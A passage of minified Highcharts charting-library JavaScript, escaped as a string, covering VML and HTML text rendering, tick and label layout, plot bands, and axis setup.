a.width,this.textWidth=b,this.updateTransform();if(a&&a.textOverflow===\"ellipsis\")a.whiteSpace=\"nowrap\",a.overflow=\"hidden\";this.styles=v(this.styles,a);M(this.element,a);return this},htmlGetBBox:function(){var a=this.element;\nif(a.nodeName===\"text\")a.style.position=\"absolute\";return{x:a.offsetLeft,y:a.offsetTop,width:a.offsetWidth,height:a.offsetHeight}},htmlUpdateTransform:function(){if(this.added){var a=this.renderer,b=this.element,c=this.translateX||0,d=this.translateY||0,e=this.x||0,f=this.y||0,g=this.textAlign||\"left\",h={left:0,center:0.5,right:1}[g],i=this.shadows,k=this.styles;M(b,{marginLeft:c,marginTop:d});i&&o(i,function(a){M(a,{marginLeft:c+1,marginTop:d+1})});this.inverted&&o(b.childNodes,function(c){a.invertChild(c,\nb)});if(b.tagName===\"SPAN\"){var j=this.rotation,m,l=F(this.textWidth),n=[j,g,b.innerHTML,this.textWidth,this.textAlign].join(\",\");if(n!==this.cTT){m=a.fontMetrics(b.style.fontSize).b;q(j)&&this.setSpanRotation(j,h,m);i=p(this.elemWidth,b.offsetWidth);if(i>l&&/[ \\-]/.test(b.textContent||b.innerText))M(b,{width:l+\"px\",display:\"block\",whiteSpace:k&&k.whiteSpace||\"normal\"}),i=l;this.getSpanCorrection(i,m,h,j,g)}M(b,{left:e+(this.xCorr||0)+\"px\",top:f+(this.yCorr||0)+\"px\"});if(nb)m=b.offsetHeight;this.cTT=\nn}}else this.alignOnAdd=!0},setSpanRotation:function(a,b,c){var d={},e=za?\"-ms-transform\":nb?\"-webkit-transform\":Na?\"MozTransform\":Lb?\"-o-transform\":\"\";d[e]=d.transform=\"rotate(\"+a+\"deg)\";d[e+(Na?\"Origin\":\"-origin\")]=d.transformOrigin=b*100+\"% \"+c+\"px\";M(this.element,d)},getSpanCorrection:function(a,b,c){this.xCorr=-a*c;this.yCorr=-b}});v(Ba.prototype,{html:function(a,b,c){var d=this.createElement(\"span\"),e=d.element,f=d.renderer;d.textSetter=function(a){a!==e.innerHTML&&delete this.bBox;e.innerHTML=\nthis.textStr=a;d.htmlUpdateTransform()};d.xSetter=d.ySetter=d.alignSetter=d.rotationSetter=function(a,b){b===\"align\"&&(b=\"textAlign\");d[b]=a;d.htmlUpdateTransform()};d.attr({text:a,x:A(b),y:A(c)}).css({position:\"absolute\",fontFamily:this.style.fontFamily,fontSize:this.style.fontSize});e.style.whiteSpace=\"nowrap\";d.css=d.htmlCss;if(f.isSVG)d.add=function(a){var b,c=f.box.parentNode,k=[];if(this.parentGroup=a){if(b=a.div,!b){for(;a;)k.push(a),a=a.parentGroup;o(k.reverse(),function(a){var d,e=L(a.element,\n\"class\");e&&(e={className:e});b=a.div=a.div||$(Ma,e,{position:\"absolute\",left:(a.translateX||0)+\"px\",top:(a.translateY||0)+\"px\"},b||c);d=b.style;v(a,{translateXSetter:function(b,c){d.left=b+\"px\";a[c]=b;a.doTransform=!0},translateYSetter:function(b,c){d.top=b+\"px\";a[c]=b;a.doTransform=!0}});o([\"opacity\",\"visibility\"],function(b){fb(a,b+\"Setter\",function(a,b,c,e){a.call(this,b,c,e);d[c]=b})})})}}else b=c;b.appendChild(e);d.added=!0;d.alignOnAdd&&d.htmlUpdateTransform();return d};return d}});var K;if(!da&&\n!ha){K={init:function(a,b){var c=[\"<\",b,' filled=\"f\" stroked=\"f\"'],d=[\"position: \",\"absolute\",\";\"],e=b===Ma;(b===\"shape\"||e)&&d.push(\"left:0;top:0;width:1px;height:1px;\");d.push(\"visibility: \",e?\"hidden\":\"visible\");c.push(' style=\"',d.join(\"\"),'\"/>');if(b)c=e||b===\"span\"||b===\"img\"?c.join(\"\"):a.prepVML(c),this.element=$(c);this.renderer=a},add:function(a){var b=this.renderer,c=this.element,d=b.box,e=a&&a.inverted,d=a?a.element||a:d;if(a)this.parentGroup=a;e&&b.invertChild(c,d);d.appendChild(c);this.added=\n!0;this.alignOnAdd&&!this.deferUpdateTransform&&this.updateTransform();if(this.onAdd)this.onAdd();return this},updateTransform:Q.prototype.htmlUpdateTransform,setSpanRotation:function(){var a=this.rotation,b=T(a*ga),c=aa(a*ga);M(this.element,{filter:a?[\"progid:DXImageTransform.Microsoft.Matrix(M11=\",b,\", M12=\",-c,\", M21=\",c,\", M22=\",b,\", sizingMethod='auto expand')\"].join(\"\"):\"none\"})},getSpanCorrection:function(a,b,c,d,e){var f=d?T(d*ga):1,g=d?aa(d*ga):0,h=p(this.elemHeight,this.element.offsetHeight),\ni;this.xCorr=f<0&&-a;this.yCorr=g<0&&-h;i=f*g<0;this.xCorr+=g*b*(i?1-c:c);this.yCorr-=f*b*(d?i?c:1-c:1);e&&e!==\"left\"&&(this.xCorr-=a*c*(f<0?-1:1),d&&(this.yCorr-=h*c*(g<0?-1:1)),M(this.element,{textAlign:e}))},pathToVML:function(a){for(var b=a.length,c=[];b--;)if(ka(a[b]))c[b]=A(a[b]*10)-5;else if(a[b]===\"Z\")c[b]=\"x\";else if(c[b]=a[b],a.isArc&&(a[b]===\"wa\"||a[b]===\"at\"))c[b+5]===c[b+7]&&(c[b+7]+=a[b+7]>a[b+5]?1:-1),c[b+6]===c[b+8]&&(c[b+8]+=a[b+8]>a[b+6]?1:-1);return c.join(\" \")||\"x\"},clip:function(a){var b=\nthis,c;a?(c=a.members,ma(c,b),c.push(b),b.destroyClip=function(){ma(c,b)},a=a.getCSS(b)):(b.destroyClip&&b.destroyClip(),a={clip:mb?\"inherit\":\"rect(auto)\"});return b.css(a)},css:Q.prototype.htmlCss,safeRemoveChild:function(a){a.parentNode&&Ua(a)},destroy:function(){this.destroyClip&&this.destroyClip();return Q.prototype.destroy.apply(this)},on:function(a,b){this.element[\"on\"+a]=function(){var a=C.event;a.target=a.srcElement;b(a)};return this},cutOffPath:function(a,b){var c,a=a.split(/[ ,]/);c=a.length;\nif(c===9||c===11)a[c-4]=a[c-2]=F(a[c-2])-10*b;return a.join(\" \")},shadow:function(a,b,c){var d=[],e,f=this.element,g=this.renderer,h,i=f.style,k,j=f.path,m,l,n,t;j&&typeof j.value!==\"string\"&&(j=\"x\");l=j;if(a){n=p(a.width,3);t=(a.opacity||0.15)/n;for(e=1;e<=3;e++){m=n*2+1-2*e;c&&(l=this.cutOffPath(j.value,m+0.5));k=['<shape isShadow=\"true\" strokeweight=\"',m,'\" filled=\"false\" path=\"',l,'\" coordsize=\"10 10\" style=\"',f.style.cssText,'\" />'];h=$(g.prepVML(k),null,{left:F(i.left)+p(a.offsetX,1),top:F(i.top)+\np(a.offsetY,1)});if(c)h.cutOff=m+1;k=['<stroke color=\"',a.color||\"black\",'\" opacity=\"',t*e,'\"/>'];$(g.prepVML(k),null,null,h);b?b.element.appendChild(h):f.parentNode.insertBefore(h,f);d.push(h)}this.shadows=d}return this},updateShadows:va,setAttr:function(a,b){mb?this.element[a]=b:this.element.setAttribute(a,b)},classSetter:function(a){this.element.className=a},dashstyleSetter:function(a,b,c){(c.getElementsByTagName(\"stroke\")[0]||$(this.renderer.prepVML([\"<stroke/>\"]),null,null,c))[b]=a||\"solid\";\nthis[b]=a},dSetter:function(a,b,c){var d=this.shadows,a=a||[];this.d=a.join&&a.join(\" \");c.path=a=this.pathToVML(a);if(d)for(c=d.length;c--;)d[c].path=d[c].cutOff?this.cutOffPath(a,d[c].cutOff):a;this.setAttr(b,a)},fillSetter:function(a,b,c){var d=c.nodeName;if(d===\"SPAN\")c.style.color=a;else if(d!==\"IMG\")c.filled=a!==\"none\",this.setAttr(\"fillcolor\",this.renderer.color(a,c,b,this))},\"fill-opacitySetter\":function(a,b,c){$(this.renderer.prepVML([\"<\",b.split(\"-\")[0],' opacity=\"',a,'\"/>']),null,null,\nc)},opacitySetter:va,rotationSetter:function(a,b,c){c=c.style;this[b]=c[b]=a;c.left=-A(aa(a*ga)+1)+\"px\";c.top=A(T(a*ga))+\"px\"},strokeSetter:function(a,b,c){this.setAttr(\"strokecolor\",this.renderer.color(a,c,b,this))},\"stroke-widthSetter\":function(a,b,c){c.stroked=!!a;this[b]=a;ka(a)&&(a+=\"px\");this.setAttr(\"strokeweight\",a)},titleSetter:function(a,b){this.setAttr(b,a)},visibilitySetter:function(a,b,c){a===\"inherit\"&&(a=\"visible\");this.shadows&&o(this.shadows,function(c){c.style[b]=a});c.nodeName===\n\"DIV\"&&(a=a===\"hidden\"?\"-999em\":0,mb||(c.style[b]=a?\"visible\":\"hidden\"),b=\"top\");c.style[b]=a},xSetter:function(a,b,c){this[b]=a;b===\"x\"?b=\"left\":b===\"y\"&&(b=\"top\");this.updateClipping?(this[b]=a,this.updateClipping()):c.style[b]=a},zIndexSetter:function(a,b,c){c.style[b]=a}};K[\"stroke-opacitySetter\"]=K[\"fill-opacitySetter\"];u.VMLElement=K=na(Q,K);K.prototype.ySetter=K.prototype.widthSetter=K.prototype.heightSetter=K.prototype.xSetter;var Cb={Element:K,isIE8:Aa.indexOf(\"MSIE 8.0\")>-1,init:function(a,\nb,c,d){var e;this.alignedObjects=[];d=this.createElement(Ma).css(v(this.getStyle(d),{position:\"relative\"}));e=d.element;a.appendChild(d.element);this.isVML=!0;this.box=e;this.boxWrapper=d;this.gradients={};this.cache={};this.cacheKeys=[];this.setSize(b,c,!1);if(!z.namespaces.hcv){z.namespaces.add(\"hcv\",\"urn:schemas-microsoft-com:vml\");try{z.createStyleSheet().cssText=\"hcv\\\\:fill, hcv\\\\:path, hcv\\\\:shape, hcv\\\\:stroke{ behavior:url(#default#VML); display: inline-block; } \"}catch(f){z.styleSheets[0].cssText+=\n\"hcv\\\\:fill, hcv\\\\:path, hcv\\\\:shape, hcv\\\\:stroke{ behavior:url(#default#VML); display: inline-block; } \"}}},isHidden:function(){return!this.box.offsetWidth},clipRect:function(a,b,c,d){var e=this.createElement(),f=Z(a);return v(e,{members:[],count:0,left:(f?a.x:a)+1,top:(f?a.y:b)+1,width:(f?a.width:c)-1,height:(f?a.height:d)-1,getCSS:function(a){var b=a.element,c=b.nodeName,a=a.inverted,d=this.top-(c===\"shape\"?b.offsetTop:0),e=this.left,b=e+this.width,f=d+this.height,d={clip:\"rect(\"+A(a?e:d)+\"px,\"+\nA(a?f:b)+\"px,\"+A(a?b:f)+\"px,\"+A(a?d:e)+\"px)\"};!a&&mb&&c===\"DIV\"&&v(d,{width:b+\"px\",height:f+\"px\"});return d},updateClipping:function(){o(e.members,function(a){a.element&&a.css(e.getCSS(a))})}})},color:function(a,b,c,d){var e=this,f,g=/^rgba/,h,i,k=\"none\";a&&a.linearGradient?i=\"gradient\":a&&a.radialGradient&&(i=\"pattern\");if(i){var j,m,l=a.linearGradient||a.radialGradient,n,t,r,p,y,x=\"\",a=a.stops,w,q=[],ca=function(){h=['<fill colors=\"'+q.join(\",\")+'\" opacity=\"',r,'\" o:opacity2=\"',t,'\" type=\"',i,'\" ',\nx,'focus=\"100%\" method=\"any\" />'];$(e.prepVML(h),null,null,b)};n=a[0];w=a[a.length-1];n[0]>0&&a.unshift([0,n[1]]);w[0]<1&&a.push([1,w[1]]);o(a,function(a,b){g.test(a[1])?(f=ia(a[1]),j=f.get(\"rgb\"),m=f.get(\"a\")):(j=a[1],m=1);q.push(a[0]*100+\"% \"+j);b?(r=m,p=j):(t=m,y=j)});if(c===\"fill\")if(i===\"gradient\")c=l.x1||l[0]||0,a=l.y1||l[1]||0,n=l.x2||l[2]||0,l=l.y2||l[3]||0,x='angle=\"'+(90-V.atan((l-a)/(n-c))*180/pa)+'\"',ca();else{var k=l.r,s=k*2,v=k*2,B=l.cx,A=l.cy,u=b.radialReference,z,k=function(){u&&(z=\nd.getBBox(),B+=(u[0]-z.x)/z.width-0.5,A+=(u[1]-z.y)/z.height-0.5,s*=u[2]/z.width,v*=u[2]/z.height);x='src=\"'+O.global.VMLRadialGradientURL+'\" size=\"'+s+\",\"+v+'\" origin=\"0.5,0.5\" position=\"'+B+\",\"+A+'\" color2=\"'+y+'\" ';ca()};d.added?k():d.onAdd=k;k=p}else k=j}else if(g.test(a)&&b.tagName!==\"IMG\")f=ia(a),d[c+\"-opacitySetter\"](f.get(\"a\"),c,b),k=f.get(\"rgb\");else{k=b.getElementsByTagName(c);if(k.length)k[0].opacity=1,k[0].type=\"solid\";k=a}return k},prepVML:function(a){var b=this.isIE8,a=a.join(\"\");b?\n(a=a.replace(\"/>\",' xmlns=\"urn:schemas-microsoft-com:vml\" />'),a=a.indexOf('style=\"')===-1?a.replace(\"/>\",' style=\"display:inline-block;behavior:url(#default#VML);\" />'):a.replace('style=\"','style=\"display:inline-block;behavior:url(#default#VML);')):a=a.replace(\"<\",\"<hcv:\");return a},text:Ba.prototype.html,path:function(a){var b={coordsize:\"10 10\"};Ja(a)?b.d=a:Z(a)&&v(b,a);return this.createElement(\"shape\").attr(b)},circle:function(a,b,c){var d=this.symbol(\"circle\");if(Z(a))c=a.r,b=a.y,a=a.x;d.isCircle=\n!0;d.r=c;return d.attr({x:a,y:b})},g:function(a){var b;a&&(b={className:\"highcharts-\"+a,\"class\":\"highcharts-\"+a});return this.createElement(Ma).attr(b)},image:function(a,b,c,d,e){var f=this.createElement(\"img\").attr({src:a});arguments.length>1&&f.attr({x:b,y:c,width:d,height:e});return f},createElement:function(a){return a===\"rect\"?this.symbol(a):Ba.prototype.createElement.call(this,a)},invertChild:function(a,b){var c=this,d=b.style,e=a.tagName===\"IMG\"&&a.style;M(a,{flip:\"x\",left:F(d.width)-(e?F(e.top):\n1),top:F(d.height)-(e?F(e.left):1),rotation:-90});o(a.childNodes,function(b){c.invertChild(b,a)})},symbols:{arc:function(a,b,c,d,e){var f=e.start,g=e.end,h=e.r||c||d,c=e.innerR,d=T(f),i=aa(f),k=T(g),j=aa(g);if(g-f===0)return[\"x\"];f=[\"wa\",a-h,b-h,a+h,b+h,a+h*d,b+h*i,a+h*k,b+h*j];e.open&&!c&&f.push(\"e\",\"M\",a,b);f.push(\"at\",a-c,b-c,a+c,b+c,a+c*k,b+c*j,a+c*d,b+c*i,\"x\",\"e\");f.isArc=!0;return f},circle:function(a,b,c,d,e){e&&(c=d=2*e.r);e&&e.isCircle&&(a-=c/2,b-=d/2);return[\"wa\",a,b,a+c,b+d,a+c,b+d/2,a+\nc,b+d/2,\"e\"]},rect:function(a,b,c,d,e){return Ba.prototype.symbols[!q(e)||!e.r?\"square\":\"callout\"].call(0,a,b,c,d,e)}}};u.VMLRenderer=K=function(){this.init.apply(this,arguments)};K.prototype=D(Ba.prototype,Cb);cb=K}Ba.prototype.measureSpanWidth=function(a,b){var c=z.createElement(\"span\"),d;d=z.createTextNode(a);c.appendChild(d);M(c,b);this.box.appendChild(c);d=c.offsetWidth;Ua(c);return d};var Ob;if(ha)u.CanVGRenderer=K=function(){Ea=\"http://www.w3.org/1999/xhtml\"},K.prototype.symbols={},Ob=function(){function a(){var a=\nb.length,d;for(d=0;d<a;d++)b[d]();b=[]}var b=[];return{push:function(c,d){if(b.length===0){var e=z.getElementsByTagName(\"head\")[0],f=z.createElement(\"script\");f.type=\"text/javascript\";f.src=d;f.onload=a;e.appendChild(f)}b.push(c)}}}(),cb=K;Wa.prototype={addLabel:function(){var a=this.axis,b=a.options,c=a.chart,d=a.categories,e=a.names,f=this.pos,g=b.labels,h=a.tickPositions,i=f===h[0],k=f===h[h.length-1],e=d?p(d[f],e[f],f):f,d=this.label,h=h.info,j;a.isDatetimeAxis&&h&&(j=b.dateTimeLabelFormats[h.higherRanks[f]||\nh.unitName]);this.isFirst=i;this.isLast=k;b=a.labelFormatter.call({axis:a,chart:c,isFirst:i,isLast:k,dateTimeLabelFormat:j,value:a.isLog?fa(la(e)):e});q(d)?d&&d.attr({text:b}):(this.labelLength=(this.label=d=q(b)&&g.enabled?c.renderer.text(b,0,0,g.useHTML).css(D(g.style)).add(a.labelGroup):null)&&d.getBBox().width,this.rotation=0)},getLabelSize:function(){return this.label?this.label.getBBox()[this.axis.horiz?\"height\":\"width\"]:0},handleOverflow:function(a){var b=this.axis,c=a.x,d=b.chart.chartWidth,\ne=b.chart.spacing,f=p(b.labelLeft,E(b.pos,e[3])),e=p(b.labelRight,s(b.pos+b.len,d-e[1])),g=this.label,h=this.rotation,i={left:0,center:0.5,right:1}[b.labelAlign],k=g.getBBox().width,j=b.slotWidth,m=1,l,n={};if(h)h<0&&c-i*k<f?l=A(c/T(h*ga)-f):h>0&&c+i*k>e&&(l=A((d-c)/T(h*ga)));else if(d=c+(1-i)*k,c-i*k<f?j=a.x+j*(1-i)-f:d>e&&(j=e-a.x+j*i,m=-1),j=E(b.slotWidth,j),j<b.slotWidth&&b.labelAlign===\"center\"&&(a.x+=m*(b.slotWidth-j-i*(b.slotWidth-E(k,j)))),k>j||b.autoRotation&&g.styles.width)l=j;if(l){n.width=\nl;if(!b.options.labels.style.textOverflow)n.textOverflow=\"ellipsis\";g.css(n)}},getPosition:function(a,b,c,d){var e=this.axis,f=e.chart,g=d&&f.oldChartHeight||f.chartHeight;return{x:a?e.translate(b+c,null,null,d)+e.transB:e.left+e.offset+(e.opposite?(d&&f.oldChartWidth||f.chartWidth)-e.right-e.left:0),y:a?g-e.bottom+e.offset-(e.opposite?e.height:0):g-e.translate(b+c,null,null,d)-e.transB}},getLabelPosition:function(a,b,c,d,e,f,g,h){var i=this.axis,k=i.transA,j=i.reversed,m=i.staggerLines,l=i.tickRotCorr||\n{x:0,y:0},n=e.y;q(n)||(n=i.side===2?l.y+8:n=T(c.rotation*ga)*(l.y-c.getBBox(!1,0).height/2));a=a+e.x+l.x-(f&&d?f*k*(j?-1:1):0);b=b+n-(f&&!d?f*k*(j?1:-1):0);m&&(c=g/(h||1)%m,i.opposite&&(c=m-c-1),b+=c*(i.labelOffset/m));return{x:a,y:A(b)}},getMarkPath:function(a,b,c,d,e,f){return f.crispLine([\"M\",a,b,\"L\",a+(e?0:-c),b+(e?c:0)],d)},render:function(a,b,c){var d=this.axis,e=d.options,f=d.chart.renderer,g=d.horiz,h=this.type,i=this.label,k=this.pos,j=e.labels,m=this.gridLine,l=h?h+\"Grid\":\"grid\",n=h?h+\"Tick\":\n\"tick\",t=e[l+\"LineWidth\"],r=e[l+\"LineColor\"],o=e[l+\"LineDashStyle\"],y=e[n+\"Length\"],l=p(e[n+\"Width\"],!h&&d.isXAxis?1:0),x=e[n+\"Color\"],w=e[n+\"Position\"],n=this.mark,q=j.step,ca=!0,s=d.tickmarkOffset,v=this.getPosition(g,k,s,b),u=v.x,v=v.y,A=g&&u===d.pos+d.len||!g&&v===d.pos?-1:1,c=p(c,1);this.isActive=!0;if(t){k=d.getPlotLinePath(k+s,t*A,b,!0);if(m===B){m={stroke:r,\"stroke-width\":t};if(o)m.dashstyle=o;if(!h)m.zIndex=1;if(b)m.opacity=0;this.gridLine=m=t?f.path(k).attr(m).add(d.gridGroup):null}if(!b&&\nm&&k)m[this.isNew?\"attr\":\"animate\"]({d:k,opacity:c})}if(l&&y)w===\"inside\"&&(y=-y),d.opposite&&(y=-y),h=this.getMarkPath(u,v,y,l*A,g,f),n?n.animate({d:h,opacity:c}):this.mark=f.path(h).attr({stroke:x,\"stroke-width\":l,opacity:c}).add(d.axisGroup);if(i&&!isNaN(u))i.xy=v=this.getLabelPosition(u,v,i,g,j,s,a,q),this.isFirst&&!this.isLast&&!p(e.showFirstLabel,1)||this.isLast&&!this.isFirst&&!p(e.showLastLabel,1)?ca=!1:g&&!d.isRadial&&!j.step&&!j.rotation&&!b&&c!==0&&this.handleOverflow(v),q&&a%q&&(ca=!1),\nca&&!isNaN(v.y)?(v.opacity=c,i[this.isNew?\"attr\":\"animate\"](v),this.isNew=!1):i.attr(\"y\",-9999)},destroy:function(){Ta(this,this.axis)}};u.PlotLineOrBand=function(a,b){this.axis=a;if(b)this.options=b,this.id=b.id};u.PlotLineOrBand.prototype={render:function(){var a=this,b=a.axis,c=b.horiz,d=a.options,e=d.label,f=a.label,g=d.width,h=d.to,i=d.from,k=q(i)&&q(h),j=d.value,m=d.dashStyle,l=a.svgElem,n=[],t,r=d.color,p=d.zIndex,o=d.events,x={},w=b.chart.renderer;b.isLog&&(i=Ca(i),h=Ca(h),j=Ca(j));if(g){if(n=\nb.getPlotLinePath(j,g),x={stroke:r,\"stroke-width\":g},m)x.dashstyle=m}else if(k){n=b.getPlotBandPath(i,h,d);if(r)x.fill=r;if(d.borderWidth)x.stroke=d.borderColor,x[\"stroke-width\"]=d.borderWidth}else return;if(q(p))x.zIndex=p;if(l)if(n)l.show(),l.animate({d:n});else{if(l.hide(),f)a.label=f=f.destroy()}else if(n&&n.length&&(a.svgElem=l=w.path(n).attr(x).add(),o))for(t in d=function(b){l.on(b,function(c){o[b].apply(a,[c])})},o)d(t);if(e&&q(e.text)&&n&&n.length&&b.width>0&&b.height>0&&!n.flat){e=D({align:c&&\nk&&\"center\",x:c?!k&&4:10,verticalAlign:!c&&k&&\"middle\",y:c?k?16:10:k?6:-4,rotation:c&&!k&&90},e);if(!f){x={align:e.textAlign||e.align,rotation:e.rotation};if(q(p))x.zIndex=p;a.label=f=w.text(e.text,0,0,e.useHTML).attr(x).css(e.style).add()}b=[n[1],n[4],k?n[6]:n[1]];k=[n[2],n[5],k?n[7]:n[2]];n=Sa(b);c=Sa(k);f.align(e,!1,{x:n,y:c,width:Da(b)-n,height:Da(k)-c});f.show()}else f&&f.hide();return a},destroy:function(){ma(this.axis.plotLinesAndBands,this);delete this.axis;Ta(this)}};var ja=u.Axis=function(){this.init.apply(this,\narguments)};ja.prototype={defaultOptions:{dateTimeLabelFormats:{millisecond:\"%H:%M:%S.%L\",second:\"%H:%M:%S\",minute:\"%H:%M\",hour:\"%H:%M\",day:\"%e. %b\",week:\"%e. %b\",month:\"%b '%y\",year:\"%Y\"},endOnTick:!1,gridLineColor:\"#D8D8D8\",labels:{enabled:!0,style:{color:\"#606060\",cursor:\"default\",fontSize:\"11px\"},x:0,y:15},lineColor:\"#C0D0E0\",lineWidth:1,minPadding:0.01,maxPadding:0.01,minorGridLineColor:\"#E0E0E0\",minorGridLineWidth:1,minorTickColor:\"#A0A0A0\",minorTickLength:2,minorTickPosition:\"outside\",startOfWeek:1,\nstartOnTick:!1,tickColor:\"#C0D0E0\",tickLength:10,tickmarkPlacement:\"between\",tickPixelInterval:100,tickPosition:\"outside\",title:{align:\"middle\",style:{color:\"#707070\"}},type:\"linear\"},defaultYAxisOptions:{endOnTick:!0,gridLineWidth:1,tickPixelInterval:72,showLastLabel:!0,labels:{x:-8,y:3},lineWidth:0,maxPadding:0.05,minPadding:0.05,startOnTick:!0,title:{rotation:270,text:\"Values\"},stackLabels:{enabled:!1,formatter:function(){return u.numberFormat(this.total,-1)},style:D(ba.line.dataLabels.style,{color:\"#000000\"})}},\ndefaultLeftAxisOptions:{labels:{x:-15,y:null},title:{rotation:270}},defaultRightAxisOptions:{labels:{x:15,y:null},title:{rotation:90}},defaultBottomAxisOptions:{labels:{autoRotation:[-45],x:0,y:null},title:{rotation:0}},defaultTopAxisOptions:{labels:{autoRotation:[-45],x:0,y:-15},title:{rotation:0}},init:function(a,b){var c=b.isX;this.chart=a;this.horiz=a.inverted?!c:c;this.coll=(this.isXAxis=c)?\"xAxis\":\"yAxis\";this.opposite=b.opposite;this.side=b.side||(this.horiz?this.opposite?0:2:this.opposite?\n1:3);this.setOptions(b);var d=this.options,e=d.type;this.labelFormatter=d.labels.formatter||this.defaultLabelFormatter;this.userOptions=b;this.minPixelPadding=0;this.reversed=d.reversed;this.visible=d.visible!==!1;this.zoomEnabled=d.zoomEnabled!==!1;this.categories=d.categories||e===\"category\";this.names=this.names||[];this.isLog=e===\"logarithmic\";this.isDatetimeAxis=e===\"datetime\";this.isLinked=q(d.linkedTo);this.ticks={};this.labelEdge=[];this.minorTicks={};this.plotLinesAndBands=[];this.alternateBands=\n{};this.len=0;this.minRange=this.userMinRange=d.minRange||d.maxZoom;this.range=d.range;this.offset=d.offset||0;this.stacks={};this.oldStacks={};this.stacksTouched=0;this.min=this.max=null;this.crosshair=p(d.crosshair,ta(a.options.tooltip.crosshairs)[c?0:1],!1);var f,d=this.options.events;qa(this,a.axes)===-1&&(c&&!this.isColorAxis?a.axes.splice(a.xAxis.length,0,this):a.axes.push(this),a[this.coll].push(this));this.series=this.series||[];if(a.inverted&&c&&this.reversed===B)this.reversed=!0;this.removePlotLine=\nthis.removePlotBand=this.removePlotBandOrLine;for(f in d)N(this,f,d[f]);if(this.isLog)this.val2lin=Ca,this.lin2val=la},setOptions:function(a){this.options=D(this.defaultOptions,this.isXAxis?{}:this.defaultYAxisOptions,[this.defaultTopAxisOptions,this.defaultRightAxisOptions,this.defaultBottomAxisOptions,this.defaultLeftAxisOptions][this.side],D(O[this.coll],a))},defaultLabelFormatter:function(){var a=this.axis,b=this.value,c=a.categories,d=this.dateTimeLabelFormat,e=O.lang.numericSymbols,f=e&&e.length,\ng,h=a.options.labels.format,a=a.isLog?b:a.tickInterval;if(h)g=La(h,this);else if(c)g=b;else if(d)g=Ra(d,b);else if(f&&a>=1E3)for(;f--&&g===B;)c=Math.pow(1E3,f+1),a>=c&&b*10%c===0&&e[f]!==null&&(g=u.numberFormat(b/c,-1)+e[f]);g===B&&(g=P(b)>=1E4?u.numberFormat(b,-1):u.numberFormat(b,-1,B,\"\"));return g},getSeriesExtremes:function(){var a=this,b=a.chart;a.hasVisibleSeries=!1;a.dataMin=a.dataMax=a.threshold=null;a.softThreshold=!a.isXAxis;a.buildStacks&&a.buildStacks();o(a.series,function(c){if(c.visible||\n!b.options.chart.ignoreHiddenSeries){var d=c.options,e=d.threshold,f;a.hasVisibleSeries=!0;a.isLog&&e<=0&&(e=null);if(a.isXAxis){if(d=c.xData,d.length)a.dataMin=E(p(a.dataMin,d[0]),Sa(d)),a.dataMax=s(p(a.dataMax,d[0]),Da(d))}else{c.getExtremes();f=c.dataMax;c=c.dataMin;if(q(c)&&q(f))a.dataMin=E(p(a.dataMin,c),c),a.dataMax=s(p(a.dataMax,f),f);if(q(e))a.threshold=e;if(!d.softThreshold||a.isLog)a.softThreshold=!1}}})},translate:function(a,b,c,d,e,f){var g=this.linkedParent||this,h=1,i=0,k=d?g.oldTransA:\ng.transA,d=d?g.oldMin:g.min,j=g.minPixelPadding,e=(g.doPostTranslate||g.isLog&&e)&&g.lin2val;if(!k)k=g.transA;if(c)h*=-1,i=g.len;g.reversed&&(h*=-1,i-=h*(g.sector||g.len));b?(a=a*h+i,a-=j,a=a/k+d,e&&(a=g.lin2val(a))):(e&&(a=g.val2lin(a)),f===\"between\"&&(f=0.5),a=h*(a-d)*k+i+h*j+(ka(f)?k*f*g.pointRange:0));return a},toPixels:function(a,b){return this.translate(a,!1,!this.horiz,null,!0)+(b?0:this.pos)},toValue:function(a,b){return this.translate(a-(b?0:this.pos),!0,!this.horiz,null,!0)},getPlotLinePath:function(a,\nb,c,d,e){var f=this.chart,g=this.left,h=this.top,i,k,j=c&&f.oldChartHeight||f.chartHeight,m=c&&f.oldChartWidth||f.chartWidth,l;i=this.transB;var n=function(a,b,c){if(a<b||a>c)d?a=E(s(b,a),c):l=!0;return a},e=p(e,this.translate(a,null,null,c)),a=c=A(e+i);i=k=A(j-e-i);isNaN(e)?l=!0:this.horiz?(i=h,k=j-this.bottom,a=c=n(a,g,g+this.width)):(a=g,c=m-this.right,i=k=n(i,h,h+this.height));return l&&!d?null:f.renderer.crispLine([\"M\",a,i,\"L\",c,k],b||1)},getLinearTickPositions:function(a,b,c){var d,e=fa(S(b/\na)*a),f=fa(ua(c/a)*a),g=[];if(b===c&&ka(b))return[b];for(b=e;b<=f;){g.push(b);b=fa(b+a);if(b===d)break;d=b}return g},getMinorTickPositions:function(){var a=this.options,b=this.tickPositions,c=this.minorTickInterval,d=[],e,f=this.pointRangePadding||0;e=this.min-f;var f=this.max+f,g=f-e;if(g&&g/c<this.len/3)if(this.isLog){f=b.length;for(e=1;e<f;e++)d=d.concat(this.getLogTickPositions(c,b[e-1],b[e],!0))}else if(this.isDatetimeAxis&&a.minorTickInterval===\"auto\")d=d.concat(this.getTimeTicks(this.normalizeTimeTickInterval(c),\ne,f,a.startOfWeek));else for(b=e+(b[0]-e)%c;b<=f;b+=c)d.push(b);d.length!==0&&this.trimTicks(d,a.startOnTick,a.endOnTick);return d},adjustForMinRange:function(){var a=this.options,b=this.min,c=this.max,d,e=this.dataMax-this.dataMin>=this.minRange,f,g,h,i,k,j;if(this.isXAxis&&this.minRange===B&&!this.isLog)q(a.min)||q(a.max)?this.minRange=null:(o(this.series,function(a){i=a.xData;for(g=k=a.xIncrement?1:i.length-1;g>0;g--)if(h=i[g]-i[g-1],f===B||h<f)f=h}),this.minRange=E(f*5,this.dataMax-this.dataMin));\nif(c-b<this.minRange){j=this.minRange;d=(j-c+b)/2;d=[b-d,p(a.min,b-d)];if(e)d[2]=this.dataMin;b=Da(d);c=[b+j,p(a.max,b+j)];if(e)c[2]=this.dataMax;c=Sa(c);c-b<j&&(d[0]=c-j,d[1]=p(a.min,c-j),b=Da(d))}this.min=b;this.max=c},setAxisTranslation:function(a){var b=this,c=b.max-b.min,d=b.axisPointRange||0,e,f=0,g=0,h=b.linkedParent,i=!!b.categories,k=b.transA,j=b.isXAxis;if(j||i||d)if(h?(f=h.minPointOffset,g=h.pointRangePadding):(o(b.series,function(a){var b=a.closestPointRange;!a.noSharedTooltip&&q(b)&&\n(e=q(e)?E(e,b):b)}),o(b.series,function(a){var 